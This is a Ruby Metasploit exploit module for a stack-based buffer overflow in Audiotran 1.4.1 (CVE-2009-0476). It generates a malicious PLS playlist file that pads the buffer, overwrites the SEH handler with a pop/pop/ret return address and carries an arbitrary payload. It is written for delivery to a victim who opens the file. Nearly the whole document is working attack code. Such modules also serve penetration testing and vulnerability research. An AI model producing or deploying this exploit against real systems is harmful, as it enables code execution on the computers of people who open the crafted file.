##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively it may be possible to execute code remotely via an embedded
        PLS file within a browser, when the PLS extension is registered to Audiotran.
        This functionality has not been tested in this module.
      },
      'License'        => MSF_LICENSE,
      'Author' 	 =>
        [
          'Sebastien Duquette',
          'dookie',
        ],
      'References'     =>
        [
          [ 'CVE', '2009-0476'],
          [ 'OSVDB', '55424'],
          [ 'EDB', '11079' ],
        ],
      'Payload'        =>
        {
          'Space'    => 6000,
          'BadChars' => "\x00\x0a\x3d",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jan 09 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
        ])

  end

  def exploit

    sploit = rand_text_alpha_upper(1308)
    sploit << generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(8000)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end
end